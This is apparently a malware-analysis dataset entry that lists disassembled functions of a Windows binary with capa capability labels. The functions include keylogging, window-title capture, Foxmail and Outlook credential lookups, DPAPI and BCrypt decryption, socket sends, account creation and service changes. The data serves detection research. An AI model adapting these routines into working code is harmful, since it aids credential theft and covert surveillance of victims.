joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408327
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 8], edx
mov dword [ebp - 4], ecx
push ebx
push esi
push edi
test ecx, ecx
je 0x408399
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
test ecx, ecx
jne 0x408348
test eax, eax
je 0x408399
test edx, edx
je 0x408399
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], eax
push 0x33
call 0x408359
add dword [esp], 5
retf
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40839e
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
cmp dword [0x419698], 0
push ebx
push esi
push edi
jne 0x4083b9
xor eax, eax
xor edx, edx
jmp 0x4084fd
mov ecx, dword [ebp + 0x10]
lea edx, [ebp + 0x14]
test ecx, ecx
jle 0x4083d8
mov eax, dword [ebp + 0x14]
lea edx, [ebp + 0x1c]
dec ecx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp + 0x10], ecx
mov dword [ebp - 0x10], eax
jmp 0x4083e0
xorps xmm0, xmm0
movlpd qword [ebp - 0x14], xmm0
test ecx, ecx
jle 0x4083f9
dec ecx
add edx, 8
mov dword [ebp + 0x10], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x1c], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x18], eax
jmp 0x408401
xorps xmm0, xmm0
movlpd qword [ebp - 0x1c], xmm0
test ecx, ecx
jle 0x40841a
dec ecx
add edx, 8
mov dword [ebp + 0x10], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x24], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x20], eax
jmp 0x408422
xorps xmm0, xmm0
movlpd qword [ebp - 0x24], xmm0
test ecx, ecx
jle 0x40843b
dec ecx
add edx, 8
mov dword [ebp + 0x10], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x2c], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x28], eax
jmp 0x408443
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
and dword [ebp - 8], 0
mov eax, edx
and dword [ebp - 0xc], 0
xorps xmm0, xmm0
cdq
mov dword [ebp - 0x44], eax
mov eax, ecx
mov dword [ebp - 0x40], edx
cdq
movlpd qword [ebp - 0x3c], xmm0
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], edx
mov word [ebp - 0xc], fs
mov eax, 0x2b
mov fs, ax
mov dword [ebp - 8], esp
and esp, 0xfffffff0
push 0x33
call 0x40847e
add dword [esp], 5
retf
pop edi
pop esi
pop ebx
leave
ret
Function at 0x408e66
Capabilities:
Get graphical window text
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
push edi
push 0x208
xor ebx, ebx
mov dword [ebp - 0xc], ecx
lea eax, [ebp - 0x214]
push ebx
push eax
call fcn.00401052
add esp, 0xc
mov dword [ebp - 4], ebx
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x104
lea ecx, [ebp - 0x214]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
jle 0x408eed
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 8]
call fcn.004035e5
push 0x414ad8
lea ecx, [ebp - 4]
mov esi, eax
call fcn.0040346a
mov edi, eax
push esi
mov ecx, edi
call fcn.00403335
push 0x414adc
mov ecx, edi
call fcn.0040346a
mov ecx, dword [ebp - 8]
call fcn.00405ea5
mov dword [ebp - 8], ebx
jmp 0x408efa
push 0x414ae0
lea ecx, [ebp - 4]
call fcn.004032ff
mov eax, dword [0x4196a0]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, 0x210
push eax
call edi
test eax, eax
mov eax, dword [0x4196a0]
je 0x408f4f
add eax, 0x210
lea ecx, [ebp - 8]
push eax
call fcn.004035e5
push eax
lea ecx, [ebp - 4]
call fcn.00403248
mov ecx, dword [ebp - 8]
mov esi, eax
call fcn.00405ea5
mov eax, dword [0x4196a0]
mov dword [ebp - 8], ebx
test esi, esi
je 0x408f4f
mov dword [eax + 0xa10], 1
jmp 0x408f69
push dword [ebp - 4]
add eax, 0x210
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [0x4196a0]
mov dword [eax + 0xa10], ebx
push ebx
push 0x80
push 4
push ebx
push 1
push 4
push dword [eax + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, dword [0x4196a0]
cmp dword [ecx + 0xa10], ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ecx + 4], eax
jne 0x408ff9
push 0
lea eax, [ecx + 8]
mov esi, 0x414ad0
push eax
push esi
call edi
push eax
mov eax, dword [0x4196a0]
push esi
push dword [eax + 4]
call ebx
mov eax, dword [0x4196a0]
lea ecx, [ebp - 4]
mov esi, dword [ebp - 4]
add eax, 8
push 0
push eax
call fcn.00403261
add eax, eax
push eax
mov eax, dword [0x4196a0]
push esi
push dword [eax + 4]
call ebx
mov eax, dword [0x4196a0]
mov esi, 0x414ad0
push 0
add eax, 8
push eax
push esi
call edi
push eax
mov eax, dword [0x4196a0]
push esi
push dword [eax + 4]
call ebx
mov ecx, dword [0x4196a0]
mov esi, dword [ebp - 0xc]
lea eax, [ecx + 8]
push 0
push eax
push esi
call edi
add eax, eax
push eax
mov eax, dword [0x4196a0]
push esi
push dword [eax + 4]
call ebx
mov eax, dword [0x4196a0]
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
call fcn.00405ea5
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4093c8
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
lea eax, [ebp - 0x104]
push ebx
push esi
push edi
push pe_nt_image_headers32
push 0
push eax
mov bl, cl
call fcn.00401052
add esp, 0xc
movzx esi, bl
push 0
push esi
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
mov edi, eax
cmp esi, 0x5c
ja 0x409437
cmp esi, 0x5b
jae 0x40947c
cmp esi, 0x14
ja 0x409426
je 0x40947c
cmp esi, 8
jb 0x409482
cmp esi, 9
jbe 0x40947c
cmp esi, 0xd
je 0x40947c
cmp esi, 0xf
jbe 0x409482
cmp esi, 0x12
jbe 0x40947c
jmp 0x409482
cmp esi, 0x20
jb 0x409482
cmp esi, 0x28
jbe 0x40947c
cmp esi, 0x2e
je 0x40947c
jmp 0x409482
cmp esi, 0xb3
ja 0x409461
cmp esi, 0xb2
jae 0x40947c
cmp esi, 0x60
jb 0x409482
cmp esi, 0x69
jbe 0x40947c
cmp esi, 0xac
jbe 0x409482
cmp esi, 0xaf
jmp 0x409422
cmp esi, 0xba
jb 0x409482
cmp esi, 0xc0
jbe 0x40947c
lea eax, [esi - 0xdb]
cmp eax, 3
ja 0x409482
or edi, 0x100
push esi
call dword [sym.imp.USER32.dll_GetKeyState]
push 0
push 1
mov byte [ebp - 1], al
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 1]
push eax
push edi
push esi
call dword [sym.imp.USER32.dll_ToUnicode]
pop edi
pop esi
lea eax, [ebp - 0x104]
pop ebx
leave
ret

Function at 0x4094ae
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
xor eax, eax
push ebx
push esi
push edi
mov ebx, ecx
movzx esi, dl
mov edi, ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
cmp esi, 0x5c
ja 0x409556
cmp esi, 0x5b
jae 0x4095a5
cmp esi, 0x14
ja 0x409545
je 0x4095a5
cmp esi, 8
jb 0x409509
cmp esi, 9
jbe 0x4095a5
cmp esi, 0xd
je 0x4095a5
cmp esi, 0xf
jbe 0x409509
cmp esi, 0x12
jbe 0x4095a5
push pe_nt_image_headers32
xor edi, edi
lea eax, [ebp - 0x100]
push edi
push eax
call fcn.00401052
add esp, 0xc
push edi
push esi
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push edi
push 1
lea ecx, [ebx + 8]
push ecx
lea ecx, [ebp - 0x100]
push ecx
push eax
push esi
call dword [sym.imp.USER32.dll_ToUnicode]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
cmp esi, 0x20
jb 0x409509
cmp esi, 0x28
jbe 0x4095a5
cmp esi, 0x2e
je 0x4095a5
jmp 0x409509
cmp esi, 0xb3
ja 0x409580
cmp esi, 0xb2
jae 0x4095a5
cmp esi, 0x60
jb 0x409509
cmp esi, 0x69
jbe 0x4095a5
cmp esi, 0xac
jbe 0x409509
cmp esi, 0xaf
jmp 0x409503
cmp esi, 0xba
jb 0x409509
cmp esi, 0xc0
jbe 0x4095a5
cmp esi, 0xda
jbe 0x409509
cmp dl, 0xde
ja 0x409509
mov dword [ebx + 4], esi
jmp 0x40953e
Function at 0x409d9a
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push edi
lea eax, [ebp - 8]
push eax
push 0x20019
push 0
push str.softwareAerofoxFoxmailPreview
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x409df1
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x104
push eax
mov edi, 0x4197b0
push edi
push 0
push 0
push str.Executable
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x409df1
push edi
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
mov al, 1
jmp 0x409df3
xor al, al
pop edi
leave
ret

Function at 0x409df6
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x460
lea eax, [ebp - 0x354]
push ebx
push esi
push edi
push 0
push eax
push 0x104
push 0x4196a8
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
mov esi, dword [sym.imp.SHLWAPI.dll_PathCombineA]
lea eax, [ebp - 0x354]
push 0x415f88
push eax
lea eax, [ebp - 0x45c]
push eax
call esi
lea eax, [ebp - 0x24c]
push eax
lea eax, [ebp - 0x45c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x409eae
mov ecx, dword [ebp - 0x24c]
or ecx, 0x10
cmp ecx, 0x10
jne 0x409e9c
cmp byte [ebp - 0x220], 0x2e
je 0x409e9c
lea eax, [ebp - 0x220]
push eax
push 0x4196a8
lea eax, [ebp - 0x10c]
push eax
call esi
push str.AccountsAccount.rec0
lea eax, [ebp - 0x10c]
push eax
push eax
call esi
lea eax, [ebp - 0x10c]
mov ecx, ebx
push eax
call fcn.00409adf
lea eax, [ebp - 0x24c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x409e53
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 4
Function at 0x40a0d8
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3014
call fcn.00401190
push ebx
push esi
push edi
mov esi, 0x800
mov dword [ebp - 0x10], ecx
push esi
xor ebx, ebx
lea eax, [ebp - 0x1010]
push ebx
push eax
call fcn.00401052
add esp, 0xc
lea eax, [ebp - 0x2010]
push esi
push ebx
push eax
call fcn.00401052
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 4]
add esp, 0xc
mov esi, 0xf003f
push eax
push esi
push ebx
push 0x415ad0
push closesocket
call edi
test eax, eax
jne 0x40a13c
push str.SoftwareMicrosoftOffice15.0OutlookProfilesOutlook9375CFF0413111d3B88A00104B2A6676
jmp 0x40a192
lea eax, [ebp - 4]
push eax
push esi
push ebx
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows_Messaging_SubsystemProfilesOutlook9375CFF0413111d3B88A00104B2A6676
push closesocket
call edi
test eax, eax
jne 0x40a159
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows_Messaging_SubsystemProfilesOutlook9375CFF0413111d3B88A00104B2A6676
jmp 0x40a192
lea eax, [ebp - 4]
push eax
push esi
push ebx
push str.SoftwareMicrosoftWindows_Messaging_SubsystemProfiles9375CFF0413111d3B88A00104B2A6676
push closesocket
call edi
test eax, eax
jne 0x40a176
push str.SoftwareMicrosoftWindows_Messaging_SubsystemProfiles9375CFF0413111d3B88A00104B2A6676
jmp 0x40a192
lea eax, [ebp - 4]
push eax
push esi
push ebx
mov esi, str.SoftwareMicrosoftOffice16.0OutlookProfilesOutlook9375CFF0413111d3B88A00104B2A6676
push esi
push closesocket
call edi
test eax, eax
jne 0x40a293
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x1010]
push eax
call esi
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
push ebx
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
jne 0x40a293
cmp dword [ebp - 0xc], ebx
jbe 0x40a28e
xor eax, eax
mov dword [ebp - 8], 0x800
push eax
push eax
push eax
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x3010]
push eax
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x40a293
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x1010]
push eax
lea eax, [ebp - 0x2010]
push eax
call esi
push 0x414684
lea eax, [ebp - 0x2010]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x3010]
push eax
lea eax, [ebp - 0x2010]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x2010]
push eax
push closesocket
call edi
test eax, eax
jne 0x40a293
push ecx
push dword [ebp - 4]
mov ecx, dword [ebp - 0x10]
call fcn.0040a29a
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x1010]
push eax
push closesocket
call edi
test eax, eax
jne 0x40a293
inc ebx
cmp ebx, dword [ebp - 0xc]
jb 0x40a1cc
xor eax, eax
inc eax
jmp 0x40a295
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a632
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2014
call fcn.00401190
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ebx, edx
mov dword [ebp - 4], ecx
lea eax, [edi - 1]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor esi, esi
mov edx, eax
inc esi
cmp edi, esi
jle 0x40a66e
mov ecx, dword [ebp - 4]
mov al, byte [esi + ecx]
mov byte [edx + esi - 1], al
inc esi
cmp esi, edi
jl 0x40a662
lea eax, [edi - 1]
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], eax
xor esi, esi
lea eax, [ebp - 0x14]
push eax
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x40a6b7
test edi, edi
jle 0x40a6ae
mov edx, dword [ebp - 0x10]
lea ecx, [ebp - 0x2014]
movzx eax, byte [edx + esi]
add esi, 2
mov word [ecx], ax
lea ecx, [ecx + 2]
cmp esi, edi
jl 0x40a69d
lea eax, [ebp - 0x2014]
push eax
jmp 0x40a6bc
push str.Could_not_decrypt
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40b15e
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1fbc
call fcn.00401190
push ebx
push esi
push edi
push dword [ebp + 8]
mov ebx, 0x1fa0
mov edi, ecx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
mov esi, eax
xor ebx, ebx
lea eax, [ebp - 0x1fbc]
push ebx
push eax
call fcn.00401052
add esp, 0xc
lea eax, [ebp - 4]
push ebx
push ebx
push eax
lea eax, [ebp - 0x1fbc]
push eax
push 1
push esi
push dword [ebp + 8]
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
lea eax, [ebp - 0x1fbc]
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x10]
push ebx
push eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0xc], ebx
push eax
mov dword [ebp - 8], ebx
mov dword [ebp - 0x10], ebx
call dword [edi + 0x70]
mov ecx, dword [ebp - 8]
add esp, 0xc
mov eax, dword [ebp - 0xc]
mov byte [ecx + eax], bl
mov ecx, dword [ebp - 8]
lea ecx, [ecx + 1]
call fcn.00405eb4
mov ecx, dword [ebp + 0xc]
push dword [ebp - 0xc]
push eax
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x40c118
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
push edi
mov eax, 0x104
xor ebx, ebx
push eax
mov dword [ebp - 8], eax
inc ebx
lea eax, [ebp - 0x214]
mov dword [ebp - 0xc], ebx
push 0
push eax
mov edi, edx
mov esi, ecx
call fcn.00401052
add esp, 0xc
lea eax, [ebp - 0x214]
push str.SoftwareMicrosoftWindowsCurrentVersionApp_Paths_
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 4]
push eax
push ebx
push 0
lea eax, [ebp - 0x214]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40c1ab
lea eax, [ebp - 8]
push eax
push edi
lea ecx, [ebp - 0xc]
push ecx
push 0
push str.Path
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
jmp 0x40c1ad
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40cafc
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push edi
lea eax, [ebp - 8]
mov dword [ebp - 0x14], ecx
push eax
push dword [ebp + 0x18]
xor ecx, ecx
mov dword [ebp - 0x18], edx
push ecx
push ecx
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], ecx
push eax
push ecx
lea eax, [ebp - 0x18]
mov dword [ebp - 0xc], ecx
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
mov edi, eax
test edi, edi
je 0x40cb61
mov ecx, dword [ebp - 8]
mov esi, dword [ebp + 0x20]
push ecx
push 0x40
mov dword [esi], ecx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [ebp + 0x1c]
mov dword [ecx], eax
test eax, eax
je 0x40cb58
push dword [esi]
push dword [ebp - 4]
push eax
call fcn.0040102c
add esp, 0xc
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x40cba8
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
xor esi, esi
mov eax, edx
mov dword [ebp - 4], eax
cmp dword [0x4197ac], esi
je 0x40cbce
push dword [ebp + 8]
call fcn.0040cc54
pop ecx
mov esi, eax
jmp 0x40cc4f
push edi
push esi
push esi
push 3
push esi
push 3
push closesocket
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
test edi, edi
je 0x40cc4e
cmp edi, 0xffffffff
je 0x40cc4e
lea eax, [ebp - 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x40cc47
cmp dword [ebp - 0xc], esi
jne 0x40cc47
mov eax, dword [ebp - 0x10]
push ebx
mov ebx, dword [ebp + 8]
push eax
push 0x40
mov dword [ebx], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
test eax, eax
je 0x40cc46
push esi
lea ecx, [ebp - 8]
push ecx
push dword [ebx]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40cc3b
mov eax, dword [ebx]
cmp eax, dword [ebp - 8]
jne 0x40cc3b
xor esi, esi
inc esi
jmp 0x40cc46
mov eax, dword [ebp - 4]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
leave
ret

Function at 0x40cc54
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
mov eax, ecx
push esi
push edi
xor esi, esi
mov dword [ebp - 4], eax
push esi
push esi
push ebx
push esi
push 1
mov edi, edx
mov dword [ebx], esi
push esi
push eax
mov dword [edi], esi
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryW]
test eax, eax
je 0x40ccad
push dword [ebx]
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [edi], eax
test eax, eax
je 0x40ccad
push esi
push esi
push ebx
push eax
push 1
push esi
push dword [ebp - 4]
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryW]
mov esi, eax
test esi, esi
jne 0x40ccad
push dword [edi]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [edi], eax
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x40cf58
Capabilities:
Encrypt or decrypt data via bcrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push ebx
push esi
push edi
mov edi, edx
mov word [ebp - 8], 0x3176
mov byte [ebp - 6], 0x30
mov esi, ecx
cmp edi, 3
jb 0x40d04b
push 3
lea eax, [ebp - 8]
push eax
push esi
call fcn.00401000
add esp, 0xc
test eax, eax
jne 0x40d04b
cmp dword [ebp + 8], eax
je 0x40d09e
cmp dword [ebp + 0xc], eax
je 0x40d09e
push 0x40
pop ebx
push ebx
push eax
lea eax, [ebp - 0x54]
push eax
call fcn.00401052
lea eax, [esi + 3]
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x4c], eax
add esp, 0xc
lea eax, [edi - 0x10]
mov dword [ebp - 0x50], 1
add eax, esi
mov dword [ebp - 0x48], 0xc
mov dword [ebp - 0x3c], eax
lea eax, [edi - 0x1f]
push eax
push ebx
mov dword [ebp - 0x38], 0x10
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
test edi, edi
je 0x40d09e
xor ebx, ebx
lea eax, [ebp - 0xc]
push ebx
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x54]
push edi
push ebx
push ebx
push eax
push dword [ebp - 0xc]
mov eax, dword [ebp - 0x4c]
add eax, dword [ebp - 0x48]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.bcrypt.dll_BCryptDecrypt]
test eax, eax
jne 0x40d044
mov eax, dword [ebp - 0xc]
inc eax
push eax
call fcn.00401085
pop ecx
mov ecx, dword [ebp - 0xc]
mov esi, eax
inc ecx
push ecx
push ebx
push esi
call fcn.00401052
add esp, 0xc
push dword [ebp - 0xc]
push edi
push esi
call fcn.0040102c
add esp, 0xc
push edi
jmp 0x40d096
mov eax, 0x416056
jmp 0x40d09e
push ecx
lea eax, [ebp - 0xc]
mov edx, edi
push eax
lea eax, [ebp - 0x10]
mov ecx, esi
push eax
sub esp, 0x14
call fcn.0040ca78
add esp, 0x20
test eax, eax
je 0x40d09e
mov eax, dword [ebp - 0xc]
inc eax
push eax
call fcn.00401085
pop ecx
mov ecx, dword [ebp - 0xc]
mov esi, eax
inc ecx
push ecx
push 0
push esi
call fcn.00401052
add esp, 0xc
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push esi
call fcn.0040102c
add esp, 0xc
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40d2ad
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 8], 0
push ebx
push esi
mov ebx, edx
mov dword [ebp - 4], ecx
je 0x40d2e3
mov esi, dword [ebp + 8]
push 0
mov eax, ebx
sub eax, esi
add eax, dword [ebp + 8]
push esi
push eax
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x40d2e3
mov ecx, dword [ebp - 4]
sub esi, eax
jne 0x40d2c1
mov al, 1
jmp 0x40d2e5
xor al, al
pop esi
pop ebx
leave
ret
Function at 0x40d418
Capabilities:
Add user account
Add user account to group

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
mov esi, dword [ebp + 8]
xor eax, eax
push edi
push 8
pop ecx
lea edi, [ebp - 0x20]
xor ebx, ebx
rep stosd dword es:[edi], eax
mov eax, dword [esi]
xor edi, edi
mov dword [ebp - 0x20], eax
inc ebx
mov eax, dword [ebp + 0xc]
push edi
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], edi
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x20]
push eax
push ebx
push edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], 0x10201
mov dword [ebp - 4], edi
call dword [sym.imp.NETAPI32.dll_NetUserAdd]
test eax, eax
jne 0x40d493
mov eax, dword [esi]
lea ecx, [ebp + 0xc]
mov dword [ebp + 8], eax
call fcn.0040f56d
push ebx
lea ecx, [ebp + 8]
push ecx
push 3
push dword [eax]
push edi
call dword [sym.imp.NETAPI32.dll_NetLocalGroupAddMembers]
mov ecx, dword [ebp + 0xc]
mov esi, eax
call fcn.00405ea5
test esi, esi
jne 0x40d493
mov eax, ebx
jmp 0x40d495
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x40d49c
Capabilities:
Modify service

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push 1
push str.ServicesActive
xor edi, edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
test esi, esi
je 0x40d502
mov eax, dword [ebp + 8]
push ebx
push 2
push dword [eax]
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov ebx, eax
test ebx, ebx
jne 0x40d4d7
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x40d501
push edi
push edi
push edi
push edi
push edi
push edi
push edi
push 0xffffffffffffffff
push dword [ebp + 0xc]
push 0xffffffffffffffff
push ebx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
test eax, eax
je 0x40d4f3
xor edi, edi
inc edi
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push ebx
call esi
mov eax, edi
pop ebx
pop edi
pop esi
pop ebp
ret 8

Function at 0x40d508
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push 1
push str.ServicesActive
xor edi, edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
test esi, esi
je 0x40d587
mov eax, dword [ebp + 8]
push ebx
push 0x10
push dword [eax]
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov ebx, eax
test ebx, ebx
jne 0x40d543
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x40d586
push edi
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x40d575
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x420
jne 0x40d578
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
je 0x40d578
xor edi, edi
inc edi
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push ebx
call esi
mov eax, edi
pop ebx
pop edi
pop esi
pop ebp
ret 4